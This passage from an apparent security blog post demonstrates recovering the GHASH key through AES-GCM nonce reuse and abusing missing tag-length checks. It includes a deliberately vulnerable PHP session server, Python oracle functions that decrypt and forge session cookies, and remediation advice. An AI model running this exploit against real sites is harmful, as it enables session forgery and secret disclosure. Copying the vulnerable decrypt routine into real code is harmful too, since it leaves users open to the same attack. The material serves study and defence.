A nonce reuse with GCM is catastrophic as it allows the recovery of the GHASH key used to compute authentication tags. (Remember that this key is derived from the encryption key and the nonce.) The details on how to do that have already been well explained in FreReit’s blog post, “AES-GCM and breaking it on nonce reuse”.

The consequences are the same if Poly1305 is used (i.e. the MAC function normally used with Chacha20). This gives us a way to recover the internal key used for Poly1305 (similarly to the GHASH key in GCM).

Once the internal key is recovered (i.e. the GHASH key or the Poly1305 key), we can compute authentication tags offline for arbitrary ciphertexts.

Extending the Keystream v2.0

Now that it is possible to compute authentication tags offline, decryption of a single byte takes much fewer requests (128 requests on average and at most 256 for each byte). This facilitates extending the keystream as we’re left with only a few steps:

  1. Modify the ciphertext with guesses
  2. Calculate the corresponding tag with the recovered GHASH key
  3. Check format validty oracle results
  4. Repeat

It’s now easy to craft arbitrary-length ciphertexts!

Arbitrary Lengths

Demo

The Setup

To demonstrate everything we’ve been talking about, let’s take our toy example and make a small website out of it.

First, let’s define the encrypt() and the decrypt() functions, which will use substrings instead of separators – that’s to demonstrate how an empty ciphertext is still useful for our attack.

$key_file = 'enc.key';
if (!file_exists($key_file)) {
    $key = openssl_random_pseudo_bytes(32);
    file_put_contents($key_file, $key);
} else {
    $key = file_get_contents($key_file);
}

function encrypt($plaintext, $key) {
    $nonce = openssl_random_pseudo_bytes(12);
    $ciphertext = openssl_encrypt(
        $plaintext,
        'aes-256-gcm',
        $key,
        $options=0,
        $nonce,
        $tag
    );

    // Concatenating the values to demonstrate how
    // an empty ciphertext is still useful
    return base64_encode($nonce . $ciphertext . $tag);
}

function decrypt($ciphertext, $key) {
    // Default hardcoded values
    $nonce_len = 12;
    $tag_len = 16;
    
    $data = base64_decode($ciphertext);
    
    // Splitting the nonce, ciphertext, and tag with substrings
    // in a vulnerable way for demonstration purposes
    $nonce = substr($data, 0, $nonce_len);
    $data = substr($data, $nonce_len);
    
    $ct = substr($data, 0, -$tag_len);
    $tag = substr($data, -$tag_len);

    $plaintext = openssl_decrypt(
        $ct,
        'aes-256-gcm',
        $key,
        $options=0,
        $nonce,
        $tag
    );

    return $plaintext;
}

The next step is to add a session – whatever is needed for creation, and to populate it back from the session cookie. Note that I’m adding a “secret” value to show that it can be decrypted.

$secret = "something_to_show_decryption"; // Let's do as if we didn't know that value in advance

function create_session() {
    global $secret;
    
    $session = (object) array("username" => "Guest", "secret" => $secret);
    return $session;
}

if (!isset($_COOKIE['session'])) {
    $session = create_session();
    setcookie('session', encrypt(json_encode($session), $key));
} else {
    $decrypted = decrypt($_COOKIE['session'], $key);
    
    // If decryption fails (i.e. it means the ciphertext was not authenticated)
    if ($decrypted === false) { // [1]
        $session = create_session();
        setcookie('session', encrypt(json_encode($session), $key));
    } else {
        $session = json_decode($decrypted, flags: JSON_THROW_ON_ERROR); // [2]
    }
}

In [1], the code handles the case when the cookie has been modified and can’t be authenticated. When this happens, a new guest session is set.

In [2], the call to json_decode() repopulates the $session variable from the decrypted data. It will throw a JsonException, however, if the decrypted data is malformed JSON.

Both the new guest session (on decryption error) and the JsonException can be observed to determine whether a tag was valid or not, and whether the decrypted data was valid JSON or not. The prior can be observed with a cookie being set in an HTTP response. The latter can be seen as an HTTP error 500.

Let’s complete the code of our example to give some purpose to this demo.

if ($session->username === "Administrator"
    && $session->secret === $secret) {
    echo "I always knew the day would come I'd get to see THE ADMINISTRATOR!" . PHP_EOL;
    echo "Here's a flag: FLAG-327a6c4304ad5938eaf0efb6cc3e53dc" . PHP_EOL;
} else {
    echo "Welcome $session->username!" . PHP_EOL;
}

First, let’s do as if we didn’t know the flag already… Second, to get that flag, we’ll need a ciphertext longer than the one we’ll be given. Indeed, see the length differences below:

$guest_session = '{"username":"Guest","secret":"something_to_show_decryption"}';
$admin_session = '{"username":"Administrator","secret":"something_to_show_decryption"}';

We can handle that by extending the keystream as described earlier.

The Exploit

Nonce Reuse

For a nonce reuse, we need two ciphertexts and their authentication tags. The server is providing us with the first one (the session cookie). We can get a second one by abusing the vulnerable substrings as described earlier, even though this will give an empty ciphertext.

For this, we need to define the is_valid_tag(nonce, ciphertext, tag) function.

def is_valid_tag(nonce, ciphertext, tag):
    global sess, url

    sess_cookie = pack_cookie(nonce, ciphertext, tag)
    sess.cookies.set('session', None)
    sess.cookies.set('session', sess_cookie)

    r = sess.get(url)
    return r.headers.get('Set-Cookie', 'nope') == 'nope'

As seen in the server code, the session cookie is not set when decryption succeeds. This is what this function checks for in order to determine whether the tag is valid or not.

With the same nonce as with the original ciphertext, we just need to brute-force one byte at a time the tag of the empty ciphertext with this function.

Compute GHASH Key

With the two ciphertext/tag pairs, we can compute candidate GHASH keys – and the associated Ek(Y0) value (i.e. this is part of the GHASH function polynomial, but don’t worry about it and read FreReit’s blog post on nonce reuse and AES-GCM if you want to understand in detail :) ).

In the script I’m sharing below, I’ve defined the resolve_nonce_reuse(aad_tag_ct_1, aad_tag_ct_2) function, which uses SageMath to find roots of the GHASH polynomial.

That function expects the two parameters to be formatted as "hex(aad):hex(tag):hex(ciphertext)".

Note: I avoid showing this code here because there are too many pieces at play – or maybe because it’s ugly, I’m not too sure why…

Because there can be multiple potential solutions, a third ciphertext is needed to determine the correct solution. The original ciphertext can be bit-flipped to a different value from which an authentication tag can be computed, thanks to the different GHASH key solutions. In my script, I bit-flip the original ciphertext to become "{}".

For each potential GHASH key, the computed tag can be tested on the server with the bit-flipped ciphertext. When the tag is valid, we’ve found the correct GHASH key.

The tag can be computed with the compute_tag(wanted_aad_ct, ghash_key, ek_y0) function. That function expects the wanted_aad_ct parameter to be formatted as "hex(aad):hex(ciphertext)". It also expects both the ghash_key and the ek_y0 parameters to be hex-encoded.

With the GHASH key recovered, it’s possible to compute arbitrary tags, making everything else much faster.

Decryption

I’ve defined the decrypt_json(known, nonce, ciphertext, h_key_eky0) function to *drumrolls* decrypt a JSON string!

def decrypt_json(known, nonce, ciphertext, h_key_eky0):
    for i in range(len(known), len(ciphertext)):
        for guess in range(256):
            to_replace = known + bytes([guess])
            replace_by = b'{' + b' ' * (len(known) - 1) + b'}'

            # Keeping only necessary bytes to create an empty object "{}"
            shortened_ciphertext = ciphertext[:len(known) + 1]
            mod_ciphertext = replace_occurrences(to_replace, shortened_ciphertext, to_replace, replace_by)

            progress = known.decode() + hex(guess)[2:].zfill(2)
            print_progress(progress)

            tag = get_valid_tag(nonce, mod_ciphertext, h_key_eky0=h_key_eky0)
            if is_ciphertext_valid(nonce, mod_ciphertext, tag):
                known = to_replace
                break
    
    print() # Adding a new line
    return known

Because the start of the ciphertext is known (i.e. it’s JSON and will start with '{"'), the start can be bit-flipped to arbitrary bytes. The strategy here is to create an empty JSON object with the last byte being brute-forced.

To do that, the start of the ciphertext is changed to become '{' + ' ' * (nb_needed_spaces). Brute-forcing the last byte until there is no parsing error will tell us it decrypted to '}', which is all the information we need to learn the original value.

The format validity oracle is observed with the function is_ciphertext_valid(nonce, ciphertext, tag).

def is_ciphertext_valid(nonce, ciphertext, tag):
    global sess, url
    
    sess_cookie = pack_cookie(nonce, ciphertext, tag)
    sess.cookies.set('session', None)
    sess.cookies.set('session', sess_cookie)

    r = sess.get(url)
    return r.status_code == 200

Similar to the is_valid_tag() function, this function observes whether there is an error 500 or not to determine the format validity.

Forgery and Keystream Extension

With the decrypted ciphertext, we already know the start of the keystream, but to forge a longer ciphertext, we need to know more bytes from the keystream.

I’ve defined the get_and_extend_keystream(known, nonce, ciphertext, h_key_eky0, wanted_len) function to get the keystream of the desired length. It starts from the known plaintext and the ciphertext, and adds bytes to the keystream until it reaches wanted_len.

def get_and_extend_keystream(known, nonce, ciphertext, h_key_eky0, wanted_len):
    keystream = xor(known, ciphertext[:len(known)])
    while len(keystream) < wanted_len:
        # Making ciphertext longer and longer to make known longer and longer
        if len(known) == len(ciphertext):
            ciphertext += b'A' # Adding A's for pwning traditions
        known = decrypt_json(known, nonce, ciphertext, h_key_eky0, show_keystream_progress=True)
        keystream = xor(known, ciphertext[:len(known)])

    print() # Adding a new line
    return keystream[:wanted_len]

As you can see, it simply reuses the decrypt_json() function for each byte added to the ciphertext.

With the keystream in hand, the forgery is pretty simple. The keystream just needs to be XOR’ed with the desired string before computing an authentication tag for that forged ciphertext.

forged_ct = xor(forgery, keystream)

# Formatting for compute_tag() which expects "hex(aad):hex(ciphertext)"
formatted_ct = b':' + binascii.hexlify(forged_ct)
tag = binascii.unhexlify(compute_tag(formatted_ct.decode(), ghash_key, eky0))
sess_cookie = pack_cookie(nonce, forged_ct, tag)

AES-GCM Decryption and Forgery Live Action

This has all been implemented in this script to exploit this demo server.

The result can now be seen in a theatre near you!

Conclusion

While the best fix for this issue would be for libraries to do like Node.js and move this behaviour to end-of-life, there are a few things you can do to fix your code if vulnerable.

Depending on the library you use, you can set an option on the decryption to force the tag length to 16 bytes. Otherwise, you can check the tag length yourself before trusting the results of the decryption.

A final thing that has to be done if vulnerable is to rotate encryption keys. The reason is that the GHASH key (or Poly1305 key) derived from the encryption key might have leaked. Even if the tag length check is added, that key can still be used to compute arbitrary tags until the encryption key gets rotated.